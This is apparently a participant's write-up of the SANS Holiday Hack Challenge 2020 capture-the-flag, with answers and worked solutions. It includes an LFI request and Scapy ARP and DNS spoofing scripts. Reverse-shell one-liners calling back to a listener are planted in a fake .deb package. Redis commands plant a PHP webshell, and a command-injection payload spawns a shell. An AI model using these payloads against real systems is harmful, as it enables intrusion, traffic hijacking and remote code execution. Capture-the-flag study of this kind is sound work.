Question 1:
Answer: Proxmark
Took the pic from the billboard and un-twirled it via an online image editor. I spent probably too much time trying to get that to work right.

Question 2:
Answer: North Pole: The Frostiest Place on Earth

Just followed instructions:
./bucket_finder.rb --log-file bucket.out wordlist
Added wrapper3000 to the world list, then added the --download option.

Saw the file looked like base64, so did base64 package --deocde > out

Did a file command and saw it was zip archive data.

While doing this, ran compgen -c | grep * a few times to see what commands were available to me.

Just ran unzip out
and got:
package.txt.Z.xz.xxd.tar.bz2
Then:
bunzip2 package.txt.Z.xz.xxd.tar.bz2
Then:
tar -xvf package.txt.Z.xz.xxd.tar
Then:
xxd -r package.txt.Z.xz.xxd > package.txt.Z.xz
Then:
unxz package.txt.Z.xz
Then:
uncompress package.txt.Z
To finally get package.txt
Which reads: North Pole: The Frostiest Place on Earth

Question 3:
Answer: santapass

Some trouble running asar but after getting node manually up to the right version, was able to extract the source code. Then just did a grep -ril password to see the password in main.js,
const SANTA_PASSWORD = 'santapass';

Question 4:
Not sure there is really an answer for this except, go around and collect objects, then direct the flow in the santavator.

Question 5:
Answer: lf hid sim -r 2006e22f13

Pretty much just ran around and collected badges, which was fun. The clue for Santas most trusted did help confirm as Shiny Upatree, who was out front.

Question 6:
Answers:
13 - do a stats count and look for unique techniques.
t1059.003-main t1059.003-win
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
2020-11-30T17:44:15Z
index=* CommandLine="*audio*" =
3648
quser - as seen by searching: index=* CommandLine="*run*" CommandLine="*bat*"
index=* "*x509*" sourcetype="bro:files:json" "*tls*"
55FCEEBB21270D9249E86F4B9DC7AA60 = index=* sourcetype=bro*
sourcetype="bro:x509:json"
| stats count by certificate.serial certificate.issuer

Not very exciting for this part of the writeup as I just went through and answered the questions. I do like the splunk ones as its what I use for day to day and its comfortable.

Question 7:

Answer:
19B EQ 0000000F2057 (bad door lock)
080 contains FFFF - (bad brakes)

For this one, I started filtering out items that were noisy and then played with the controls to seee what mapped to what.

Some of them I noticed were:
080: Brakes
019: Steering
19B: Locks
Door lock:
19B:000000000~
19B:00000F000000

Steering:
019:00016,17
Brake:
080000021-FF~~~~
Start:
02A#00FF00
Run:
244#0000000545
Stop
02A#0000FF

Then I saw that normal state for items should be all zeros and that helped show which part of the brakes were bad. The door lock was obvious but the brakes didn't show up until you actually used them.
19B EQ 0000000F2057 (bad door lock)
080 contains FFFF - (bad brakes) - saw this was alternating and not giving the correct number alone.

Question 8:

Answer: JackFrostWasHere

When initially looking at this I saw an error on upload of a nonimage file:

Trying upload:
Something went wrong!
Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201213-1-179yyeb

At that point I knew where to grab the source code and review. By using LFI, on this endpoint: GET /image?id=.. I was able to read about any file I wanted but I still didn't know where webroot was and if I wanted to look at env variables I needed to get RCE.

I saw this section in the code:
```
# We want to extract into TMP_FOLDER
    out_file = "#{ TMP_FOLDER }/#{ entry.name }"
```

Which actually let me save any file I wanted wherever I have write permissions. By zipping a file and then playing with the name I can do something like name: ../app/lib or ../home/app

However, no matter what things I tried I could not get RCE. While looking over some older documentation on how to get RCE with LFI, I saw this:

Went to see if I could get RCE via an older vuln:
GET /image?id=../proc/self/environ HTTP/1.1
Host: tag-generator.kringlecastle.com

Which sure enough gave me the answer:
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=b7610641492eRUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app

Still a little frustrated I couldn't get RCE as it seems like that should have been the actual goal. I might try again later if time permits or will at least read someone elses writeup after this as I really want to know how.

Question 9:

Answer: Tanta Kringle

First looked at the ARP with tcpdump:
04:23:13.833739 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28

Added -e switch to tcpdump, found src mac is 4c:24:57:ab:ed:84

Infected Host:
Mac: 4c:24:57:ab:ed:84

Spoofed host:
IP: 10.6.6.53

Me:
Mac: 02:42:0a:06:00:02
IP: 10.6.0.2

>>> ARP_PACKETS[0]

<Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>

>>> ARP_PACKETS[1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=00:13:46:0b:22:ba psrc=192.168.0.1 hwdst=00:16:ce:6e:8b:24 pdst=192.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>>

Final Working ARP Script:

```
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
   # if arp request, then we need to fill this out to send back our mac as the response
   if ARP in packet and packet[ARP].op == 1:

      ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)

      arp_response = ARP(pdst="10.6.6.35")
      arp_response.op = 2
      arp_response.plen = 4
      arp_response.hwlen = 6
      arp_response.ptype =0x0800
      arp_response.hwtype = 0x1

      arp_response.hwsrc = macaddr
      arp_response.psrc = "10.6.6.53"
      arp_response.hwdst = "4c:24:57:ab:ed:84"
      arp_response.pdst = "10.6.6.35"

      response = ether_resp/arp_response

      sendp(response, iface="eth0")

def main():
```

```
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":
    main()
```

Results of working ARP:

```
04:15:33.573478 02:42:0a:06:00:02 > 4c:24:57:ab:ed:84, ethertype
ARP (0x0806), length 42: Reply 10.6.6.53 is-at 02:42:0a:06:00:02,
 length 28
04:15:33.589910 4c:24:57:ab:ed:84 > 02:42:0a:06:00:02, ethertype
IPv4 (0x0800), length 74: 10.6.6.35.65259 > 10.6.6.53.53: 0+ A? f
tp.osuosl.org. (32)
```

Working DNS script:

```
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")   # need to replace mac addresses
    ip  = IP(dst="10.6.6.35", src="10.6.6.53")                    # need to replace IP addresses
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)                          # need to
replace ports
    dns = DNS(id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, \
                an=DNSRR(rrname=packet[DNS].qd.qname,  ttl=10, rdata=ipaddr))
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
```

```
def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                          # dns
        "udp[10] & 0x80 = 0",                       # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our
real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to
our mac
    ] )

    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":
    main()
```

Now that this is working, I see after the ARP, then after I respond that I'm the DNS its looking for, I see a connection attempt on port 80:

14:46:34.052852 IP 10.6.6.35.40268 > 10.6.0.2.80: Flags [S], seq 2313758417, win 64240, options [mss 1460,sackOK,TS val 3994083280 ecr 0,nop,wscale 7], length 0
14:46:34.052877 IP 10.6.0.2.80 > 10.6.6.35.40268: Flags [R.], seq 0, ack 2313758418, win 0, length 0

I have nothing listening on port 80 (yet), so of course a reset packet is sent as my reply.

I spun up a quick http server on a random directory to see what its trying to get:

In that output I see:
guest@b2abf85a166e:~$ python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [15/Dec/2020 14:53:42] code 404, message File not found
10.6.6.35 - - [15/Dec/2020 14:53:42] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -

Made a copy of netcat deb and called it what it was actually looking for. Trying again to see what happens. Also made the same path when serving this up with pub/jfrost/backdoor

Everything all together so far:

ARP:
10 8.356064 02:42:0a:06:00:03 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:03
DNS:
11 8.372320 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
12 8.412939 10.6.6.53 → 10.6.6.35 DNS 104 Standard query response 0x0000 A ftp.osuosl.org A 10.6.0.3
~
26 9.433038 10.6.6.35 → 10.6.0.3 TCP 74 43752 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1768695375 TSecr=0 WS=128
27 9.433058 10.6.0.3 → 10.6.6.35 TCP 74 80 → 43752 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=3211252631 TSecr=1768695375 WS=128
28 9.433078 10.6.6.35 → 10.6.0.3 TCP 66 43752 → 80 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1768695375 TSecr=3211252631
HTTP File request:
29 9.433125 10.6.6.35 → 10.6.0.3 HTTP 262 GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1
~
45 9.434616 10.6.0.3 → 10.6.6.35 HTTP 15234 HTTP/1.0 200 OK (application/x-debian-package)
46 9.434704 10.6.0.3 → 10.6.6.35 TCP 66 80 → 43752 [FIN, ACK] Seq=61711 Ack=197 Win=65024 Len=0 TSval=3211252633 TSecr=1768695377

Tried this combo in the backdoor deb file, without success.
bash -i >& /dev/tcp/10.6.0.2/4444 0>&1
ncat -l -p 4444 -v

Having a few issues with reverse shell, however a ping did work:
59 17.794646 10.6.6.35 → 10.6.0.2 ICMP 98 Echo (ping) request id=0x001a, seq=1/256, ttl=64
60 17.794673 10.6.0.2 → 10.6.6.35 ICMP 98 Echo (ping)

Finally was able to get the reverse shell a diff way:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.6.0.2 4444 1>/tmp/backpipe

Doing a cat of /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt shows:

Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.

Question 10:
Answer: Was able to get access

When the elevator pad was up, took a look with dev tools when I was Santa and when I wasn't. I saw this:
<iframe title="challenge"
src="https://elevator.kringlecastle.com?challenge=santamode-elevator&id=667e00c2-9639-44ec-ae1e-0cec03e0a419&username=JohnnyG&area=santamode-santavator1&location=1,2&tokens=marble,portals,nut2,candycane,ball,yellowlight,elevator-key,greenlight,redlight,workshop-button,besanta"></iframe>

By adding the key "besanta" on the end, I was able to get access.

By looking at app.js, you can see why:
hasToken('besanta'))

Question 11a:

Answer: 57066318f32f729d

I spent a lot of time trying to understand this. Even though it was easy to get the script to print the Nonce numbers, and I read the manual to understand that when randrange is passed a 64 bit number, it actually creates two 32 bit in order then the second is added to the MSB of the first (flips). I even re-created multiple times and couldn't figure out why I could split the number but not predict and return the correct result. Then I realized I had to "shuffle" the output in the correct order. In the end I cleaned up my code and have the below using MT19937Predictor in line.
The script goes through the nonce list, converts 64 to 32, then places them in order and predicts in the same way. After predicting the 32 bit numbers in order, it converts those back to 64 bit in groups. After that it converts them to hex and then adds the ID number to the output. By changing one loop value, we can predict how many that is needed.
Even though this was frustrating at times, I did learn a lot and I do enjoy using python when able.

Note: Further up in the code, the only changes made were adding the MT199367 import and also just returning the nonce value to make things easier since I don't need the rest.

Output from this partial script below:

C2: Block chain verify: True

ID Num: Nonce
129997: b744baba65ed6fce
129998: 1866abd00f13aed
129999: 844f6b07bd9403e4
130000: 57066318f32f729d

Complete

```
if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
c2 = Chain(load=True, filename='blockchain.dat')
print('C2: Block chain verify: %s\n' % (c2.verify_chain(official_public_key)))
predictor = MT19937Predictor()
#Loop through the last 312 values (since each 64 bit is two 32's)
for c in range((len(c2.blocks) - 312),len(c2.blocks)):
    #convert from hex to int
    res = int(str(c2.blocks[c]),16)
    #Convert 64 bit number to 32 bitt
    top = (res & (0xffffffff00000000)) >> 32
    bottom = res & 0xffffffff
    #Send both in the correct order
    predictor.setrandbits(bottom, 32)
    predictor.setrandbits(top, 32)

number = int(129997)
print("ID Num: Nonce")
#Loop through the next 4 sets (8 total) to get to 130000
for b in range(4):
    #Predict two 32 bit numbers in order
    first = predictor.getrandbits(32)
    second = predictor.getrandbits(32)
    #Convert those two 32s back to 64.
    final = (second << 32) | first
    print("%s: %s" % (number,format(final, 'x')))
    number = number + 1

#Option to write to file if needed.  First way I got this working.
with open('maybe.txt', 'w') as f:
    for c in range(len(c2.blocks)):
        #Convert hex to 64 bit number before writing.
        res = int(str(c2.blocks[c]),16)
        #Split the 64 bit number into bottom and top 32 bits
```

```
        top = (res & (0xffffffff00000000)) >> 32
        bottom = res & 0xffffffff
        #write out both numbers splitting into two's.
        f.write("%s\n" % str(bottom))
        f.write("%s\n" % str(top))

print("\nComplete")
```

Question 11b:

Answer: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

Note: I did receive a hint from a helpful person on Discord to assist in how unicoll works.

One thing I noticed was UNICOLL was capitalized in one of the hints and is also listed as a type of hash collision attack, so my focus was on that.

First dumped all of the files and looked at all of the different items since these hashes are all md5s. However, I forgot that the files aren't hashed but the entire block is. It already had the import so I just did a quick calc in the verify chain function with an if statement to find the block I needed like this:

```
hash256_obj = SHA256.new()
hash_obj.update(self.blocks[i].block_data())
hash256_obj.update(self.blocks[i].block_data())
if '58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f' ==
hash256_obj.hexdigest():
            print('%s : %s' % (self.blocks[i].index, hash256_obj.hexdigest()))
```

I had this in the wrong spot however and after messing for a while moved it to full_hash as I didn't understand the question at first.

That function was updated to look like this:

```
def full_hash(self):
hash_obj = MD5.new()
hash_obj.update(self.block_data_signed())
hash256_obj = SHA256.new()
hash256_obj.update(self.block_data_signed())
file = hash256_obj.hexdigest()
if '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' == file:
        print('%s : %s' % (self.index, file))
```

return hash_obj.hexdigest()

Which outputs the result as:

129459 : 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f

That block is:

Chain Index: 129459
Nonce: a9447e5771c704f4
PID: 0000000000012fd1
RID: 000000000000020f
Document Count: 2
Score: ffffffff (4294967295)
Sign: 1 (Nice)
Data item: 1
Data Type: ff (Binary blob)
Data Length: 0000006c
Data:
b'ea465340303a6079d3df2762be68467c27f046d3a7ff4e92dfe1def7407f2a7b73e1b759b8b919
451e37518d22d987296fcb0f188dd60388bf20350f2a91c29d0348614dc0bceef2bcadd4cc3f251b
a8f9fbaf171a06df1e1fd8649396ab86f9d5118cc8d8204b4ffe8d8f09'
Data item: 2
Data Type: 05 (PDF)
Data Length: 00009f57
Data:
~snip data too long~
Date: 03/24
Time: 13:21:41
PreviousHash: 4a91947439046c2dbaa96db38e924665
Data Hash to Sign: 347979fece8d403e06f89f8633b5231a
Signature:
b'MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDT
Vw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdI
znTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMA
D2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6
F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw==

To make it easier to make the changes and hash while working, I also updated to write out this whole block:

```
if '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f' == file:
            with open('output.txt', 'wb') as f:
                f.write(self.block_data_signed())
            print('%s : %s' % (self.index, file))
```

I had already dumped all of the docs but still needed the 2nd one on this one and didn't feel like figuring out which index number it was, so just did this:

```
for c in range(len(c2.blocks)):
    try:
        c2.blocks[c].dump_doc(2)
    except Exception:
        pass
```

I read and re-read the slides and hints dozens of times but nothing I tried worked and worse than that I didn't quite understand the material, or if I did I didn't realize it.

I asked for help on Discord and @cabby42 was nice enough to help me get back on track and realize I was looking for block modifications exactly one block (64 bytes) apart. I thought the slides were saying it had to start at 10 and that didn't make sense to me.

With that information I was able to investigate two items that I thought might be wrong. The first being that Jack switched the naughty to nice. If I change that value from a 1 back to a zero at position 63, I need to go 64 more blocks (to 137) and increase that value to match, from D6 to D7. At that point the md5 still matched.

Next I looked more at the pdf and how you can have two in one with hints here: https://github.com/corkami/collisions#pdf.

I noticed the go away santa part in the pdf and it didn't click until I put those together. I played with that value until the other pdf was seen, which meant that the 2 needed to increase to 3 at position 265. 64 bytes away from that is 329, which needed to be decreased by one to offset the first change. This changed from 1C to 1B. That also kept the md5 the same and was able to submit the sha256 as the last answer.

Random Raspberry Pi's:

Pepper Minstix: TMUX:
Says right in the intro tmux and attach. So tmux list-sessions
Then: tmux attach -t 0

You found her! Thank you!!!
#####hhc:{"hash":
"eeb35bd9bb42be572487c26bec2966360e03a50bb7725b3b49dc299d06dee854", "resourceId":
"ca7e6507-431e-4bf8-93cf-30b64cb9768d"}#####
You found her! Thank you!!!

Shiny Uptree: Badge machine:
Do name (4), then just escape with ;. For example, name; ls lets you run local commands. So just ran name; /bin/bash

received:
Enter your name (Please avoid special characters, they cause some weird errors)...test; /bin/bash

```
 _______
< test >
 ------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||


  ____                                          _
 / ___|   _  _     ___      ___      ____     ____     ____      | |
 \___ \  | +| |   / _|    / _|     / -_)   (_-<    (_-<     |_|
  |____/   \_,_|   \__|_   \__|_   \____|   /__/_   /__/_   _(_)_
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """" |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
```

Javascript - just played game, didn't record every step

Holly Evergreen: Redis Bug:

Was able to read online about some of the vulns for redis and came up with this as working:

curl http://localhost/maintenance.php?cmd=CONFIG,SET,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=CONFIG,SET,dbfilename,test.php
curl
http://localhost/maintenance.php?cmd=SET,PAYLOAD,%3C%3Fphp+%24output+%3D+shell_exec%28%27cat+%2Fvar%2Fwww%2Fhtml%2Findex.php%27%29%3B+echo+%22%3Cpre%3E%24output%3C%2Fpre%3E%22%3B%3F%3E
curl http://localhost/maintenance.php?cmd=BGSAVE

Can find that with the section below if it wasn't in a typical webroot:
find+%2F+-name+index.php

Saw this pass:
R3disp@ss

player@66320c689037:~$ cat NEW.TXT
REDIS0009
redis-ver5.0.3
edis-bits@ctimew_used-mem?
aof-preamble PAYLOAD@I<pre>REDIS0009 redis-ver5.0.3
edis-bits@ctime_used-mem
aof-preamble
example1
The site is in maintenance mod
example2#We think there's a bug in index.php`0
U</preexample1The site is in maintenance modexample2#We think there's a bug in index.phpo
player@66320c689037:~$

Didn't realize that I needed the full path on the php file until I started to cat other things and see that redis junk is always there and the message it as the end. Reran with the full path and got the bug:

EDIS0009 redis-ver5.0.3
edis-bits@ctime r_used-mem
aof-preamble PAYLOAD@W<pre><?php

We found the bug!!
#
\ /
.\-/.

```
#     /\ ()   ()
#       \/~---~\.-~^-.
# .-~^-./   |   \---.
#     {    |    }   \
#    .-~\   |   /~-.
#   /    \  A  /    \
#         \/ \/
#
```

echo "Something is wrong with this page! Please use http://localhost/maintenance.php to see if you can figure out what's going on"
?>
</preexample2#We think there's a bug in index.phexample1The site is in maintenance mode��fwi�player@7d0f72b58f3d:~$

Fitzy Shortstack: Dialup modem:
Btw: this was hilarious.
Just tried to follow the sounds and a little trial and error.
756-8347
baaDEEEbrrr
aaahhh
wewewewwrrrr
bedurrdunditty
Schrrrrrrr

Door challenge 1 - open door:
elf@4f2bd5bf28c3 ~ $ strings door | grep pas
/home/elf/doorYou look at the screen. It wants a password. You roll your eyes - the password is probably stored right in the binary. There's gotta be a
Be sure to finish the challenge in prod: And don't forget, the password is "Op3nTheD00r"
Beep boop invalid password

Then just run it.

Door challenge 2 - turn on lights:
Took hint and swapped the name in the lab with the pass to decrypt.

Computer-TurnLightsOn

Door challenge 3: vending machine

Note: I had a ton of fun doing this one.
In the lab playing with name vs pw and how it changes by deleting and remaking it.

a/a = g
b/a = g
bb/a = g

So its not based on name
b = G
aa= 9V
c = e
d = 0
z = U

XiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmwXiGRehmwXi
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Realized the key is 8 chars due to repeating patterns, so wrote a quick script to take care of this for me so I could create a lookup table to decode the encoded pw.

```
#!/bin/bash

for letter in {a..z}
do
  echo $letter$letter$letter$letter$letter$letter$letter$letter
  rm vending-machines.json
  ./vending-machines << EOF
  $letter$letter$letter$letter$letter$letter$letter$letter
  $letter$letter$letter$letter$letter$letter$letter$letter
  a
EOF
  cat vending-machines.json >> output
done
```

Did the same for A..Z and also 0..9. Then just reversed the pw.

CandyCane1

Please enter the vending-machine-back-on code > CandyCane1
Checking.....

Vending machines enabled!!

Regex:
\d+
[a-zA-Z]{3}
[a-z0-9]{2}
[^A-L1-5]{2}
^[0-9]{3,}$
^(0?[0-9]|1[0-9]|2[0-3]):[0-5][0-9]:[0-5][0-9]$
^((([a-fA-F0-9]{2}:){5}([a-fA-F0-9]{2}))|(([a-fA-F0-9]{2}:){5}([a-fA-F0-9]{2})))$
^((0[1-9]|1\d|2\d|3[01])(\/|\.|\-)(0[1-9]|1[0-2])(\/|\.|\-)\d{4})$

Scapy:
start
send
sniff
1 = pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
rdpcap
2 = show
UDP_PACKETS[0]
TCP_PACKETS[1][TCP]
UDP_PACKETS[IP].src = "127.0.0.1", then task.submit(UDP_PACKETS[0])
task.submit('echo\r\n')
task.submit(0x4c44)
3
pkt = IP(dst='127.127.127.127')/UDP(dport=5000)
pkt2 = IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
Changes:
op, is-at
hwsrc = 00:13:46:0b:22:ba
hwdst = 00:16:ce:6e:8b:24

Canbus:

,,,talk mentioned each command has unique can id value then data. Looked for those.
cat candump.log | cut -d " " -f 3 | cut -d "#" -f 1 | sort | uniq -c

```
     35 188
      3 19B
   1331 244
```

elf@5e8101949d20:~$ grep -i "19B#" candump.log

(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

Answer:122520

Phrase:
This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:
7FXjP1lyfKbyDK/MChyf36h7
It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!
Santa (me)
My favorite phrase?
Alice Bluebird
I can't believe the Splunk folks put it in their talk!

Looked through the video and saw "Stay Frosty". Then used cyber chef to use base64 input to latin1 output, with Stay Frosty.
Answer is: The Lollipop Guild

Snowball:
I was really making this too hard. If you can predict what the seed is going to be,,which you can since it gives you the previous ones in the comments. Just use the provided predict program to find the next seed. Then, run that seed on easy mode and then you can see where the ships are. Play on easy in a new window and then translate that to the actual game, profit.